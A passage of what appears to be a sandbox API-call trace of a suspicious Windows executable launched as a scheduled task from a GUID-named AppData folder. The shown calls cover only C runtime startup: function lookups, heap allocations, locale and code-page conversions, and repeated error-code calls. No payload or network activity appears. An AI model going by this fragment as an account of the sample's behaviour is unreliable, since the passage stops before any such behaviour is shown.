halpmcxz\\appdata\\local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" page_root = "0x269f2000" os_pid = "0x7d0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x78c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --Task" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 86 os_tid = 0x114 [0056.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x25b54860, dwHighDateTime=0x1d643ed)) [0056.643] GetCurrentThreadId () returned 0x114 [0056.643] GetCurrentProcessId () returned 0x7d0 [0056.643] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=17751633408) returned 1 [0056.725] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x81, wShowWindow=0x4, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x77c5fd35, hStdError=0x77cc7daf)) [0056.725] GetProcessHeap () returned 0x220000 [0056.726] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionEx") returned 0x76d44d28 [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="CreateEventExW") returned 0x76dc410b [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSemaphoreExW") returned 0x76dc4195 [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadStackGuarantee") returned 0x76d4d31f [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolTimer") returned 0x76d5ee7e [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadpoolTimer") returned 0x77c8441c [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77cac50e [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolTimer") returned 0x77cac381 [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolWait") returned 0x76d5f088 [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadpoolWait") returned 0x77c905d7 [0056.726] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolWait") returned 0x77caca24 [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="FlushProcessWriteBuffers") returned 0x77c60b8c [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77d1fde8 [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessorNumber") returned 0x77cb1e1d [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalProcessorInformation") returned 0x76dc4761 [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSymbolicLinkW") returned 0x76dbcd11 [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="EnumSystemLocalesEx") returned 0x76dc424f [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringEx") returned 0x76dc46b1 [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="GetDateFormatEx") returned 0x76dd6676 [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoEx") returned 0x76dc4751 [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="GetTimeFormatEx") returned 0x76dd65f1 [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="GetUserDefaultLocaleName") returned 0x76dc47c1 [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidLocaleName") returned 0x76dc47e1 [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="LCMapStringEx") returned 0x76dc47f1 [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentPackageId") returned 0x0 [0056.727] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount64") returned 0x76d5eee0 [0056.728] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0056.728] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0056.729] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x3bc) returned 0x22eec8 [0056.729] GetCurrentThreadId () returned 0x114 [0056.729] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x18) returned 0x22f290 [0056.729] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x800) returned 0x22f2b0 [0056.729] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x81, wShowWindow=0x4, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x408241, hStdOutput=0x67763f1, hStdError=0x0)) [0056.729] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0056.729] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0056.729] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0056.729] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --Task" [0056.729] GetEnvironmentStringsW () returned 0x22fab8* [0056.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0056.729] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x565) returned 0x230590 [0056.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x230590, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0056.730] FreeEnvironmentStringsW (penv=0x22fab8) returned 1 [0056.730] GetLastError () returned 0x7f [0056.730] SetLastError (dwErrCode=0x7f) [0056.730] GetLastError () returned 0x7f [0056.730] SetLastError (dwErrCode=0x7f) [0056.730] GetLastError () returned 0x7f [0056.730] SetLastError (dwErrCode=0x7f) [0056.730] GetACP () returned 0x4e4 [0056.730] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x220) returned 0x230b00 [0056.730] GetLastError () returned 0x7f [0056.730] SetLastError (dwErrCode=0x7f) [0056.730] IsValidCodePage (CodePage=0x4e4) returned 1 [0056.730] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0056.730] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0056.730] GetLastError () returned 0x7f [0056.730] SetLastError (dwErrCode=0x7f) [0056.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.730] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0056.730] GetLastError () returned 0x7f [0056.730] SetLastError (dwErrCode=0x7f) [0056.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.730] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0056.731] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0056.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿqbw\x06ôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0056.731] GetLastError () returned 0x7f [0056.731] SetLastError (dwErrCode=0x7f) [0056.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.731] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0056.731] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0056.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿqbw\x06ôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0056.731] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x66e4e0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe")) returned 0x6e [0056.731] GetLastError () returned 0x0 [0056.731] SetLastError (dwErrCode=0x0) [0056.731] GetLastError () returned 0x0 [0056.731] SetLastError (dwErrCode=0x0) [0056.731] GetLastError () returned 0x0 [0056.731] SetLastError (dwErrCode=0x0) [0056.731] GetLastError () returned 0x0 [0056.731] SetLastError (dwErrCode=0x0) [0056.731] GetLastError () returned 0x0 [0056.731] SetLastError (dwErrCode=0x0) [0056.731] GetLastError () returned 0x0 [0056.731] SetLastError (dwErrCode=0x0) [0056.731] GetLastError () returned 0x0 [0056.731] SetLastError (dwErrCode=0x0) [0056.731] GetLastError () returned 0x0 [0056.731] SetLastError (dwErrCode=0x0) [0056.731] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.732] GetLastError () returned 0x0 [0056.732] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) 